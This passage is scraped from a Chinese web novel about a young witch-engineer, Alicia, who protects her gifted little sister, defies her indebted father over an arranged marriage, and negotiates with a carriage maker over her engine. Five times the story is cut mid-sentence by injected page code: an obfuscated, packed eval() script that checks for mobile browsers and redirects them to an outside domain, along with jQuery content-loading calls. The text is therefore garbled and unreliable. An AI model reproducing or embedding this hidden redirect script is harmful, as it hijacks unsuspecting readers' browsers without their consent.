l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13864783|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者叠加后,她甚至找不到曾经走过的通道。 但罗德就不一样了。 这家伙在没有任何训练的情况下,自己探索出了隔空取物的能力,这种天赋很可怕,就算罗德还不到九岁,只需要让她稍微训练一下,她说不定就能找到那条对艾莉西亚关闭的、通往地下交易市场的通道。 然而狂喜以后,艾莉西亚又感觉到一股沉甸甸的压力。 罗德这么早就出现了天赋,这会让她的处境变得不太妙。 这座城市一直有人暗中狩猎拥有女巫天赋的小女孩,那些人像猎犬一样分布在城市角角落落,一旦让他们发现罗德的能力,后果不堪设想。 想到自己在魔法塔的遭遇,艾莉西亚忍不住打了个冷颤。 她在心里发誓,决不能让罗德落到那种境地。 …… 翌日,切斯特家一大早就热闹起来。 艾莉西亚双手抱臂,看着罗德坐在地上假哭,她一边哭一边偷瞄艾莉西亚,嘴里嚎啕,“艾莉西亚骗人,你说了允许我把糖果分享给狄安娜的,你又骗人!” 艾莉西亚面无表情,“我说了,如果你想,可以自己请求米亚带狄安娜去工坊玩。” 罗德,“可是你也说了米亚阿姨不一定会同意。” 艾莉西亚心里觉得又好气又好笑,这家伙已经能够抓到大人话里的漏洞了,不愧是能觉醒空间天赋的脑子,逻辑能力很强。但她遇事就撒泼,不知道从哪里学来的。 贝斯已经收拾罗德和艾莉西亚的行李箱,她比艾莉西亚有决断多了,她一点不关注小女儿闹事,全程有条不紊地安排罗德住到工坊的琐事,一项一项确认后,让唐娜把行李搬到马车上。 事情全都理顺了,贝斯松了一口气,她路过罗德,用脚尖踢踢她,“起来,去马车上。” 罗德怒而起身,冲着艾莉西亚和贝斯喊,“你们都是骗子!大骗子!我要去上学!我要和我的朋友们玩!才不要去什么鸟不拉屎的工坊!” 说完她打开门,就往外冲。 罗德一心向外跑,没看路,撞到了一个人。 那人穿着正装、带着半高礼帽,被小炮弹一样的罗德撞了一下,人依然站得稳稳地,他握住罗德的肩膀,把她扶正。 “哦,亲爱的罗德小姐,你要去哪里?” 罗德现在对所有大人都失去了信任,她立刻要挣脱,却发现这个男人的手像鹰爪一样牢牢扒在她肩膀上。 “放开!”罗德叫到。 说完看到了这个男人漆黑可怖的瞳孔,这双瞳孔后面,似乎藏着某个更加漆黑的空间。 “卡西尼先生,您是来找爸爸的吗?”身后响起了艾莉西亚的声音,罗德一下子惊醒,她再度挣扎,这一次,男人松手了。 “是的,切斯特小姐,”卡西尼盯着罗德小小的背影,露出个慈爱的笑容,“真是个活泼的小淑女。” 罗德赶紧跑到艾莉西亚身后藏起来。 艾莉西亚对约纳·卡西尼抱歉地笑了一下,给卡西尼让出一条路,方便他进屋。 24. 女巫的职业危机24 罗德乖乖地坐上马车,艾莉西亚也准备跟上,但皮尔叫住了她。 他仍想说服艾莉西亚。 艾莉西亚往屋子里看了一眼,透过凸肚窗,能看到贝斯正在和卡西尼说话。 这位负责银行贷款的新主管频频登门,应该是来探听皮尔的家底的。皮尔的财产很好查,就明面上的那些,酿酒厂和房产,存款之类的,艾莉西亚估计他可能是想知道艾莉西亚手里的财产。 如果银行能通过那笔担保拿到零件厂和工坊,这就很赚了。 皮尔把艾莉西亚拉到距离马车比较远的地方,他身上的颓败气息更明显了。 艾莉西亚盯着地面,没有开口。 皮尔说,“艾莉,我希望你认真地考虑清楚,这个世界没有那么简单,商场如战场,这里只有利益,不会有人心慈手软,更不会因为你是女人就手下留情。” 艾莉西亚说,“爸爸,零件厂和工坊建起来的时候,你不是这么说的。” 皮尔露出苦笑,“那时候你还有我和贝斯,如果你失败了,你还可以依靠家里。” “所以现在换家里依靠我不行吗?爸爸,你不能为了帮你的朋友把我的人生赔进去。我的未来不是区区三万费尔能比的。” 皮尔想要说点什么,然而,当她迎上艾莉西亚的目光,他犹豫着,仍然说,“你艾达尔叔叔他不是有意的——” 艾莉西亚已经听腻了这种话,“是不是有意,最后承担代价的都是我们。 “我会请律师和会计帮忙评估和谈判,如果我们决定要承担你朋友的债务,那么我们就不能只承担债务,而不争取该争取的权益——我和您明说,艾达尔名下的运河公司股份不能放弃,他的财产也要一一清算,包括他的妻子居住的房产。” 皮尔愕然地看着艾莉西亚,“你怎么能那么做?那可是艾达尔!你忘记你小时候他对我们的帮助了吗?你甚至要让路易莎和她的孩子失去最后的栖身之所?” “那么你选择保住她们,出卖我的婚姻,是吗?” 艾莉西亚说这话的时候很平静,眼里却有泪光闪过,那晶莹的光芒像一把利刃,刺破了皮尔不愿意去深思的问题。 “怎么会?”皮尔不安地来回踱步,女儿的犀利质问让他觉得很不舒服,她眼里将掉未掉的眼泪更让他觉得烦躁,他觉得艾莉西亚说不通,“小安托瓦是个……” “小安托瓦再好和我有什么关系?您让我嫁给他,零件厂和工坊会成为我的嫁妆,而塔布拉斯王国的法律会让我失去对嫁妆的控制权,如果不能用条款限制住小安托瓦,我会失去一切——我从无到有、亲手创办的所有东西!” “我们可以进行婚前谈判,这个你都不懂?” “可您有时间和他进行婚前谈判来保护我的财产吗? “您难道不知道过去他为了逼迫我服从他,差点把零件厂卖掉吗?我敢说,小安托瓦他都不会给你机会谈判!他做过的事都在那里摆着,您只是捂住自己的耳朵、遮住自己的眼睛不去了解。或许,您不是不知道其中的风险,但比起保全你的朋友,你更愿意让我承担风险。” 艾莉西亚的声音低沉下去,这些话在她心里盘桓很久了,她一直没能开口。 她发现自己没有想象中那么无坚不摧,在父母的细心呵护下,她固然有了一往无前的勇气,可性格中软弱的部分也一并滋长起来。 皮尔态度动摇了父爱的根基,这让艾莉西亚一直避免承认一个残酷的现实——皮尔或许是个好父亲好丈夫,但父亲和丈夫的责任加起来,都没有他对朋友的情谊重要。 皮尔看艾莉西亚没有再咄咄逼人,他便觉得艾莉西亚一定是理亏了,他的情绪复又激昂起来: “这怎么是我不愿意了解?艾莉,你知道有时候你看待问题是很偏激的,小安托瓦在商业上的精明怎么会是缺点?这难道不是他能力出众的表现?你说我没有了解他,这怎么可能!我当然不会轻易就让你嫁人。 “安托瓦的家风是很不错的,你看老安托瓦,他是一个多么疼爱妻子的绅士,妻子想要回沃华德的娘家居住,他就毫不犹豫地陪着妻子回去了,生意全交给儿子照看——有这样的父亲在,你还担心小安托瓦不是个好丈夫吗?” 艾莉西亚听得都要笑出来了,果然,她还是太天真。 她以为自己的剖白可以让皮尔明白自己到底是怎么想的,但她怎么忘了,一个人的想法是由立场决定的,现在的皮尔在意的是如何保住他的好兄弟,这样的情况下,他又怎么会管女儿怎么想? 皮尔根本不愿意去懂! 不,他还是听出了艾莉西亚的难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13871370|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,但了解后,他却用来指责和继续说服她。 艾莉西亚掐灭对皮尔的最后一丝幻想,她公事公办说,“爸爸,会计和律师下午会来家里和你商讨怎么和银行谈判,艾达尔叔叔的财产肯定保不住了,不过路易莎阿姨应该有嫁妆,那是她的财产,他的丈夫不在,她想怎么使用都可以。” 皮尔和艾莉西亚已经完全是两个脑回路,他仍抱着说服艾莉西亚的想法,然而艾莉西亚却已经放弃了。 她说,“你知道的爸爸,如果我不愿意,你没办法逼我的。无论是工坊还是零件厂,你一分钱都没投过。” 说完,艾莉西亚不再浪费时间,她快步坐上马车。 马车启动,罗德趴在车窗上往回看,说,“艾莉,爸爸好像哭了。你骂他了吗?” 艾莉西亚说,“爸爸没哭,你看错了。” “你撒谎,爸爸用手捂着脸,他要坐到地上了——哦,他蹲下来了。啊,大人哭起来也这么可怜啊,跟学校那个门卫大叔养的小狗似的。” “你怎么能那么说爸爸?”艾莉西亚往她屁股上拍一巴掌,“坐好,脑袋不准伸出窗户。” …… 艾莉西亚把罗德,和照顾罗德的唐娜安排到工坊后面的空屋子里。 那房子建好了之后只简单装修了一下,放了一点简陋的家具,并不适合长期居住。 今天早上,艾莉西亚就让南希去找特蕾娅,拜托她购买家具。丽塔大婶也去采购了,他们会带着长期居住的物资一起过来。 米亚守在测试内燃机的机组旁边,她的表情很放松,看来测试的效果不错。 她看到艾莉西亚还笑了一下,“罗德那小崽子什么情况?” “觉醒了。” 米亚并不是很意外,“你们家族是不是——” 艾莉西亚,“不知道,可能有,但过去那样的社会氛围,就算发现了也不敢往外露。” 米亚长期生活在荒原,这一点倒不太清楚。两人有一搭没一搭地闲聊,艾莉西亚重新开了台机床,准备用她的天赋能力重新做一台内燃机。 大半个上午过去,艾莉西亚和米亚在车间里干得热火朝天,特蕾娅急吼吼地从外面冲进来,她眼睛亮得惊人,“艾莉西亚!艾莉!好消息,萨达·汉斯梅尔夫人愿意投资我们。” 25. 女巫的职业危机25 特蕾娅到的时候,艾莉西亚正在车窗边打磨气缸的曲轴,听到特蕾娅的声音,她一个不小心,车刀在曲轴上划出一条刻痕。 特蕾娅兴冲冲地跑进来,迎接她的却是艾莉西亚的瞪视。 特蕾娅一头雾水,“我拉倒一个大投资人,亲爱的,你竟然不高兴!” 艾莉西亚翻了个白眼,用手给她指出曲轴上的刻痕,“我差不多要打磨完成了。” 特蕾娅十分不以为意,“没有关系的,我知道这对你来说算不上麻烦,对吗,能操纵金属的女巫阁下?” 是的,特蕾娅不但知晓艾莉西亚女巫的身份,她甚至知道艾莉西亚的天赋是操纵金属。 而这个天赋的觉醒,其实是个意外。 艾莉西亚还小的时候,卡斯塔尼亚城还不是现在的样子,这里原本只是个经常受到魔兽袭扰的边陲小镇,是阿斯蒙德伯爵来了之后,才开启了这座城市飞一样的扩张速度。 艾莉西亚大约四五岁的时候,全程城市都在开发建设,大量人口涌入,酒馆、饭店也变得多起来,切斯特家靠着一家酿酒作坊起家,慢慢地小半个城市的酒馆用的都是切斯特家的酒。 然而随着人口暴增,与之相对就是严重的治安问题。 艾莉西亚家的酿酒工坊发展得很快,她五岁的时候,酿酒工坊早成了酿酒厂。 皮尔每天都在外面跑,贝斯也要去酿酒厂坐镇,艾莉西亚只能交给保姆和女仆照顾。本来一切都好好的,但有人盯上了资产迅速膨胀的切斯特家,于是保姆的儿子欠了赌债,艾莉西亚差点被保姆偷出去换赎金。 之所以没有成功,是因为艾莉西亚发现保姆的意图之后,她把保姆身上的钥匙串融成了一把锋利的小刀,趁着她不注意的事后割伤了保姆的脸,她的惨叫引来了女仆,而女仆又机灵地大叫,引来邻居的关注,等在外面的保姆儿子还没得手就被吓跑了。 就像罗德的空间天赋源于她对糖果的渴望,艾莉西亚的觉醒源于自救。在接下来的成长过程中,艾莉西亚发现并享受着操纵金属的乐趣,从一届文科生转向学习机械专业。 听到特蕾娅的话,艾莉西亚翻了个白眼,抓起一把切削下来的金属碎屑,按在刻痕所在的地方,片刻后,她的手拿开,多余的碎屑掉落,露出那道被补平的刻痕,但与旁边加工过的、锃亮反光的表面相比,艾莉西亚用魔力补起来的地方就显得粗糙许多,像是刚刚脱模的浇筑金属体表面。 以艾莉西亚对魔力操控的能力,她还不能做到精细加工,只能制造出比浇筑的金属体稍微好一点的效果。 艾莉西亚不喜欢工作的时候还留个尾巴,重新加工好这个部分,她把轴承取下来,放到一边。然后脱掉身上的工作服挂起来,一个响指过后,原本满是金属碎屑的车床立刻变得干净整齐,包括艾莉西亚身上,也是这样。 已经不是第一次看到艾莉西亚使用魔法了,特蕾娅每次见到仍觉得不可思议。 “好吧,亲爱的,虽然我已经很想克制了,但你的确给我带来了一个巨大的惊喜,你不知道,我爸爸的事差点让我昏头,幸好我及时醒悟,”艾莉西亚说,“不过,我得知道你所说的汉斯梅尔夫人会给我们多少投资。” 特蕾娅露出个难以抑制的微笑,“很多,足以让我们再造一个这样的工坊。” 艾莉西亚挑挑眉,她觉得这事并没有那么靠谱。 她委婉说,“特蕾娅,容我提醒你,你还记得我这里的机床都是多少钱买回来的吗?” 对方甚至没有来工坊看一眼,就算出那么一大笔钱投资内燃机,冤大头也没有这样好骗的。 “当然,这可全是我给那些工厂签的支票。”她到现在还能把每一台的价格报出来。 那些记忆是特蕾娅永远的痛,工坊的建造其实花钱没多少,卖地便宜,人工和材料也不贵,但艾莉西亚的那些机床,它们贵得要命,最便宜的一台,都超过七百费尔。 “放心吧,那位夫人精明着呢。我知道你在想什么,严格来说,那位夫人给了我们一个获得她投资的机会。” “什么意思?” “汉斯梅尔夫人还在看另一个项目,你的竞争对手,来自康奈尔教授实验室的霍伊森·索普研究员。我打听过了,索普的团队制造了一辆轻型蒸汽汽车,他会在斯图尔特大学向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13887000|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉斯梅尔夫人展示。汉斯梅尔夫人向我暗示,投资预算是有限的,如果我不能拿出比索普更优秀的作品,她就不会投资我们。” 艾莉西亚敏锐地发现了问题,“汉斯梅尔夫人对索普不满意?” “知道吗?这是一个秘密,”特蕾娅神秘地说,“汉斯梅尔夫人和康奈尔教授曾相爱过,但康奈尔教授的家庭不愿意接受汉斯梅尔夫人,康奈尔教授就放弃了。汉斯梅尔夫人后来嫁给了一位跟随伯爵征战的骑士,再后来她受到了芙蕾·阿斯蒙德阁下的赏识,从一个普通的伴游侍女成为掌管芙蕾阁下金库的女人。知道那条从矿山直通卡斯塔尼亚城的铁路轨道是谁投资的吗?是的,就是这位汉斯梅尔夫人。” 艾莉西亚摇摇头,“既然是秘密,你怎么会打听到?我感觉这更像是有人在用舆论给汉斯梅尔夫人施压,有这样的消息在背地里流传,就像是在说她不投资索普,完全是因为旧怨,而不是出自她的专业判断——这对一位女士的事业可不是什么好消息。” “不,我和她聊过,这位夫人是一位思维敏锐的人,她不会因为旧怨影响投资决定。汉斯梅尔夫人真的很有眼光,如果不是她的鼎力支持,现在领地内的铁路轨道有一大半都建不起来。” 艾莉西亚问,“你怎么和她认识的?” 特蕾娅思索着,“我们不是和巡夜者签了合同吗?我们上午签完合同,下午就有人邀请我参加一个只有女士们的俱乐部,我在那里打了网球,享用晚餐的时候,和我一起打网球的夫人说汉斯梅尔夫人也爱好网球,并且她也在,她主动将我介绍给汉斯梅尔夫人。我在与她的餐后聊天中,争取到这个机会……” 说到最后,特蕾娅的语气出现了迟疑。 这一切太顺利了,完全像是被人安排好的。 “我当时怎么没有发现呢?”特蕾娅郁闷地说。 艾莉西亚心说你一谈到那位夫人,眼睛就亮闪闪的,那状态与小粉丝差不多,不知道加了多少层滤镜。 艾莉西亚还是给特蕾娅留了面子,“唔,不管怎么说,这对我们都是一个好机会。得催催比尔了,让他尽快把我们定做的车身造出来。” 26. 女巫的职业危机26 比尔·潘帕斯是一个马车制造商,这位潘帕斯先生是个野心家,他曾试图往蒸汽机车车体制造方向转型,可惜不知道运气不好还是技不如人,最后不但没能竞争赢另一家制造商,还赔了一大笔钱。 不过潘帕斯家底厚,赔钱之后,他收拾收拾,又重新做回了马车制造。 吃过晚饭,艾莉西亚坐上马车,和特蕾娅一起去潘帕斯的工厂。 她本来想问问罗德要不要走,但根本找不到人。 这家伙一定是跑到工坊后面的小山坡上玩了,她来之前打滚撒泼不想过来,但一过来就玩得不想回家。艾莉西亚抽时间带她简单地测试了一下能力。 怎么说呢?天赋好,但毕竟年纪还小,能力有限,转移的距离不超过一米,重量也有很大限制。 艾莉西亚的计划是先把人带在身边,她在保证罗德的安全的前提下,帮她慢慢掌握能力。等她能收控自如,可以很好地隐藏的时候,再让她回去上学。 不过提到这个,艾莉西亚就觉得很头痛,地下魔法交易市场去不了,艾莉西亚想买点训练魔力的小玩意给罗德都不行。 还是得赶紧让罗德把能力提升起来,能混进交易市场就好办了。 马车上,特蕾娅叮嘱艾莉西亚,“你去了之后,不能和比尔谈价格,一个字也不能说!这个交给我,你只需要告诉他你的要求是什么,让他做出来。” 艾莉西亚心虚讪笑,“当然,亲爱的特蕾娅,我会完全遵从你的安排。” 特蕾娅放下一半的心。 不过她也没有再提,而是关心起艾莉西亚家里的事,“切斯特先生还好吗?” 作为合伙人,特蕾娅对艾莉西亚的情况非常清楚,只是一直保持着克制的距离。 之前艾莉西亚呆在工坊的时候,特蕾娅就听说了皮尔为他朋友做担保的事,她以为不过是正常的生意往来。 这件事穿得很开,原因很简单,大家都在暗地里嘲笑皮尔啥,他竟然签署了无限责任担保合同,那可是接近三万费尔的钱,不是小数目。 现在那个被担保人跑掉了,皮尔竟然完全没有要推翻这个合同的想法,他最近一直在想办法出售酿酒厂和一些收藏,甚至还打算给艾莉西亚找个有钱的丈夫。 特蕾娅完全不知道说什么好了。 昨天特蕾娅在俱乐部的时候,就有人旁敲侧击地问她,工坊和零件厂是否会被皮尔卖出去。外界看来,她和艾莉西亚一起创办的事业一定有皮尔的支持。 那一刻,特蕾娅太感谢艾莉西亚不肯接受皮尔的投资了,同样她也感谢陪着艾莉西亚咬牙成果那段最困难时期的自己,如果那时候两个人妥协了,现在还不知道是什么情况…… “就那样吧,”艾莉西亚很淡定,“先让律师和会计去和银行谈,这么大一笔钱,爸爸拿不出来,他们可能会威胁让爸爸入狱,不过这没关系,就算上法庭,也需要拉扯一段不短的时间,另外妈妈已经找侦探去查被担保人的行踪了,那么大一笔资金全投进运河公司,这本身就是一件不正常的事,妈妈觉得爸爸可能被骗了,不过这种事怎么说呢?就算没有,我们也可以试试反过来起诉银行职员和被担保人联合诈骗——” 艾莉西亚突然不说话了。 特蕾娅问,“怎么了?” 艾莉西亚说,“你还记得拉图瓦那个灭门命案吗?” 特蕾娅也想起来,“那个死掉的银行主管,他难道是那个放款给切斯特先生的人?” 艾莉西亚,“是他。” 两人一路聊着,半个小时后,来到了潘帕斯的工厂。 潘帕斯听到两人过来,亲自来门口迎接,这是一个三十多岁的壮年男子,他长得又矮又壮,四肢粗短,但精神头十足,特别是一头棕色头发用发油输得光溜溜的,恐怕苍蝇站上去也要跌跤。 他热情洋溢地和两人打招呼,“哦,美丽的艾莉西亚,还有特蕾娅,我正有个好消息要告诉你们,你们要的车体已经完成了主体结构,要不了多就能完成了。” 艾莉西亚才不吃他这一套,“比尔!上次我们来你可不是这么说的。” 比尔笑呵呵地,“艾莉西亚啊,你知道,我以前可没做过这样的款式,总要给一点事让我们的工程师做出调整吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13902144|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾莉西亚,“你们以后会有调整时间的,但我需要一个成品,回程的时候我们会带走。” 比尔眼神闪了闪,“这……恐怕不行,这可是载人的家伙,更应该谨慎。比如这样,你可以把你说的那个能完全取代蒸汽机的动力机送过来,这样我们不用在预留空间上费功夫,直接安装好给送过去。” 这家伙简直没把艾莉西亚放眼里,当着她的面就像骗她的内燃机。 艾莉西亚眼神凛冽起来,“你觉得行吗?” 比尔看着艾莉西亚的表情,那可一点没有淑女的柔美,他在心里叹了口气,“好吧,我让工人们加快进度,最迟后天交付。” 艾莉西亚知道这家伙不想多费功夫而已,她没继续施压,而是看向特蕾娅。 特蕾娅心领神会,“比尔,比尔,这你可就是你的不对了。你知道艾莉西亚之前没有催过你工期,今天却一见面就一定要的缘故吗?” 比尔心说我怎么知道你们俩发什么病,但嘴里说,“这是什么缘故?” 特蕾娅说,“你知道萨达·汉斯梅尔夫人吗?” “那位夫人?掌管芙蕾阁下金库的那位夫人?!”比尔当然听说过她,他可是去竞争过蒸汽列车机身制造的,怎么可能没听说汉斯梅尔! 他脑子飞速地转动起来,特蕾娅突然提到汉斯梅尔,难道—— 看比尔的胃口被吊起来,特蕾娅故意用一种自豪的语气说,“正是你想的那样!艾莉西亚的内燃机成为汉斯梅尔夫人看中的项目,她要给我们非常大一笔投资。” 特蕾娅在“非常”“大”这两个单词上咬得特别重,只是比尔已经不在乎特蕾娅说什么了。 他满脑子都在想汉斯梅尔夫人要投资艾莉西亚! 光明神在上,这两个女人怎么就这么好运! 难道这是她们同为女人才能得到的好运?比尔下意识地往□□看了一眼,听说那位夫人作风大胆,公开骂过好多索取投资的人,她说那些人充满了男人的腐臭味,本事没有,只会仗着男人的身份耀武扬威。 如果,如果他也是个女人…… 27. 女巫的职业危机27 艾莉西亚和特蕾娅做梦也想不到,差点破产这事给比尔留下的阴影如此之深,以至于他都已经在考虑放弃男人的身份了。 特蕾娅不知道这家伙想了什么,她关注着比尔的表情,说,“比尔,知道吗?这可是一个非常难得的机会,不仅仅是对于我们,对你,也是如此。” 比尔不动声色地吸一口气,甩掉那些乱七八糟的想法,此时,商人的精明重新占领大脑,“那可不好说。” 如果艾莉西亚愿意把内燃机技术分享出来,那才是好机会。 艾莉西亚和特蕾娅盯上了比尔的生产线,而比尔盯上了她们会下金费尔的金母鸡,怎么不是一种双向奔赴呢? 艾莉西亚十分感慨,谁都不是傻子啊。 为了不让比尔起疑,艾莉西亚故意表现得很不高兴,但这种不高兴中又带着克制,像是被叮嘱过一定要忍耐自己的脾气。 比尔是多精明的人,他立刻察觉到其中的不同寻常。 像艾莉西亚这样的技术人员,他接触的可不少,那些家伙虽然很尊重自己这个发薪水的老板,脾气也不见得有多收敛,有些时候,甚至需要比尔去哄着他们。 聪明人想得多,能让一个脾气不太好的技术人员收敛脾气,比尔很容易就联想到那个签下无限担保合同的老切斯特——艾莉西亚的父亲。 那可真是一个大傻子,听说他最近正砸锅卖铁地准备还债呢。 她们应该是缺钱的,可在汉斯梅尔夫人要投资的情况下,她们还缺钱,那或许不一定是真的缺这个钱,而是新投资人过于强势,没有多余资金投入的两人现在来找新的投资人了。 如果这就是真相……比尔眼里闪现一道精光,如果这就是真相,那可真就是他的机会了。 特蕾娅刻意等了一会儿,给比尔足够的思考空间,“你真是一个狡猾的家伙,比尔!我知道你一直盯着我们的内燃机呢,可惜它现在已经是一块烤得香喷喷的、即将出炉的蛋糕了,而想要分蛋糕的人已经挤满了餐桌。” 比尔不高兴地嘟囔,“特蕾娅,你一会儿说我的机会来了,一会儿又说现在已经没我的好处了,但你的表情却告诉我,你一定想从我身上得到点什么,明白告诉我吧,我可不是你那个看不清自己位置的柔弱未婚夫,我对自己的实力心知肚明。” 特蕾娅暗自咬牙,比尔这家伙可真让人讨厌。 但现在比的就是谁能沉得住气。 和艾莉西亚对了一个眼神,特蕾娅说,“这就要看你的诚意了,比尔,你知道的,漂亮有钱家世好的姑娘在什么时候都是被热烈追捧的对象。” “是吗?可我连内燃机都没见过,这要如何开价?” 特蕾娅说,“那真是遗憾,或许等我们把一整辆车完成后,你再来看看?” 比尔哽住,他脸上露出些许迟疑,“我可以让工人腾出时间今天就把车体做好,然后,我们一起去你们的工坊,看看你们所说的比蒸汽机更轻便实用的新型动机究竟会有怎样的表现。” “你的立场真灵活。”艾莉西亚嘲讽说。 比尔一点也不觉得尴尬,“年轻美丽的小姐,等你们到了我这个年纪,就会知道谨慎是一种多么珍贵的品质。” 艾莉西亚说,“这是我们的技术机密,比尔,这是汉斯梅尔夫人都没有见过的技术机密。” 比尔知道他不拿出好处,他就见不到内燃机了。 如果这是在比尔刚见到两个人的时候,比尔一定已经站起来打开办公室,让艾莉西亚她们回去等着车体做好吧。 但是现在,在很可能在这样一个拥有广阔市场前景的产品中掺一脚的机会面前,比尔很难不心动。 说到底,他是一个十足的野心家。 蒸汽机车制造的失败只是让他花费更多耐心蛰伏,它没有改变他的本质。 特别是两人表现出一副“如果能成功说服比尔,那很不错,没有说服,那再换下一家”的高傲姿态前面,比尔很难按捺住自己那颗蠢蠢欲动的心。 内燃机的效果给了她们强大的信心和底气,比尔甚至认为,即使艾莉西亚的表现再如何张狂都不过分。 到这个时候,双方已经完成了地位的态势转化,从特蕾娅寻求比尔的追求,变成了比尔努力说服艾莉西亚和特蕾娅了,“如果我能亲眼看到内燃机的效果,我可以免费为你们制造五台、不八台的新型车体,如何?” 艾莉西亚眯着眼看他,语气不善,“难道我不答应,你的工人今天就腾不出时间?” “理论上来说,是的。”比尔放缓了语气,表现得很诚恳。 艾莉西亚不高兴地瞪了特蕾娅一眼,双手抱胸,像是不甘心,但在特蕾娅的目光施压下,她不得不妥协,“那么,把你说好的条件写下来。” 比尔笑了,他还留有两台车体与艾莉西亚讨价还价的空间,这完全没用上,他心情不错,对艾莉西亚小女孩发脾气一样的话完全不放在心上,“当然,当然。” 事实上,他恨不得艾莉西亚更孩子气一点,这样才好给精明的特蕾娅拖后腿,他才能有机可乘,得到更多利益。 …… 当天晚餐后,艾莉西亚乘着马车回到工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13913349|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊,与她一起回来的,还有运载着汽车外壳的马车,以及迫不及待的比尔和他工程师团队的两个人,他们会协助艾莉西亚把第一辆汽车组装起来。 而因为时间太晚,特蕾娅已经回城了。 一到地方,艾莉西亚先领着他们参观正在测试中的三台内燃机。 在机器的轰鸣声中,两个工程师眼里充满了炽热的温度。 这三台内燃机的外形大同小异,机身不大,高度越有五六十公分,他们被摆在试验台上,小小的机身上,曲轴连杆机构、配气机构、燃料供给系统、润滑系统、冷却系统、点火系统、启动系统等组件紧密有序、相互交错地安放在机身各处,随着进气阀的开关闭合,点火系统咔哒咔哒地、带着韵律一般的节奏有条不紊地工作着,燃烧室发出一声声燃料爆炸、空气膨胀的声音,活塞随之上下运动,带动曲轴飞速旋转,与曲轴上的齿轮啮合的飞轮飞一样的转动起来,快得出现了残影。 他们用看珍宝的眼神盯着三台内燃机,眼神痴迷而狂热,那些嘈杂的机械运行的声音是如此悦耳,仿佛光明神的福音。 就连比尔,脸上也按捺不住狂喜的表情。 艾莉西亚给足了他们仔细观摩的时间,大约过了半小时,艾莉西亚说,“现在是第二阶段的测试,目前三台机器都已经持续运转超过30小时。” 比尔恋恋不舍地把目光从内燃机上挪开,他难得紧张地搓了搓手指,“艾莉西亚,我们认识的时间不短了对吧?” 艾莉西亚一看就知道他想说什么,这也是特蕾娅提前离开的原因,在比尔面前,她更愿意表现得像个专注于技术的研究员。 “当然,”艾莉西亚看了看表,“时间不早了,比尔你们先回去吧。” 比尔呆了,“什么?” 他指指两个已经沉浸进内燃机的工程师,再指指艾莉西亚,“我们不是要连夜把内燃机装到车子里面?” “可是现在已经很晚了啊,”艾莉西亚露出了奇怪的表情,“你们的都不需要休息的吗?现在已经是需要休息的时间了,比尔,夜里就应该好好休息,明天才更有精神来工作,不是吗?” 让比尔过来,只是让他下决心用生产线投资,可不是为了加班的。夜里艾莉西亚还要和米亚轮流值班,检测测试情况,没那么多经历熬夜组装。 比尔在心底咬牙,他很想让两个工程师现在就动手组装,但他注意到,车间的架子上放着好几台崭新的内燃机,然而那个又高又壮的光头女人在一边虎视眈眈,比尔也只能勉强露出个笑,让车夫帮忙把两个工程师给拽走了。 28. 女巫的职业危机28 天色微亮,米亚过来接替艾莉西亚。 艾莉西亚去吃完早餐,带着罗德去后山转了一圈,罗德兴冲冲地跑出去,回来的时候被艾莉西亚拎回来,她看起来就像是毅力狂奔跑了二十千米,艾莉西亚一放下她,她就四肢着地,直接趴在地上。 罗德看艾莉西亚的眼神全是控诉。 米亚看小姑娘这样,心里觉得好笑,她粗糙有力的大手摸摸罗德,“没事,等你习惯就不会这么累了。” 罗德包住米亚失声痛哭,“米亚阿姨,米亚阿姨,我想回家,我再也不要——唔唔唔唔……” 艾莉西亚眼疾手快捏住她的两瓣嘴巴,“忘了怎么答应我的?乖一点,等你达到我的要求,我就给你买那种很好玩的玩具。” 看罗德平静下来,艾莉西亚松开手,她眼角边还挂着泪滴,“你说真的?” “我什么时候骗过你?” 